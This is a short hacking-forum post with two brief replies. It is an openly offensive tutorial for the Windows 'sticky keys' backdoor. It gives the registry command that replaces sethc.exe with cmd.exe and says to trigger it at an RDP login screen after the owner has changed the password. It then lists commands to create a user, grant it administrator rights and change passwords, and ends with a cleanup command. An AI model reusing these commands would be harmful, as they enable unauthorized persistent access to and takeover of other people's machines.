[vasku]

Code

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe

open the cmd and write this  down on it nigigiggi

then if u see

Code

The operation completed successfully
it means u are pregnant

if u got some  error open the cmd as admin


now how to use this

for example, we used this on RDP
now the owner changed the password

so  we connect to ip address and try to run the cmd that we've  already set
how to run cmd while we are in user pass login page  

try : 5 times tap on the shift ,Alt+Shift+PrintScreen  or Alt+Shift+PrtScSysRq and ....
idk just search in the internet to find out more
but it will just pop out after hitting that
now we good we can use cmd to do some dog stuff

Code

lusrmgr  : it opens the local user and groups
net user user2 pw/add: create a user
net localgroup administrators user2 /add: giving the administrator prem to the user u created by adding it to its local group
taskmgr: you can open the task manager then right-click  on the current user and change the password
dsa.msc : active directory will get open

Code

Delete the backdoor : REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"

[tdbnz123]

Very Interesting Thanks for sharing

tdbnz123

[vasku]

Very Interesting Thanks for sharing

tdbnz123

✌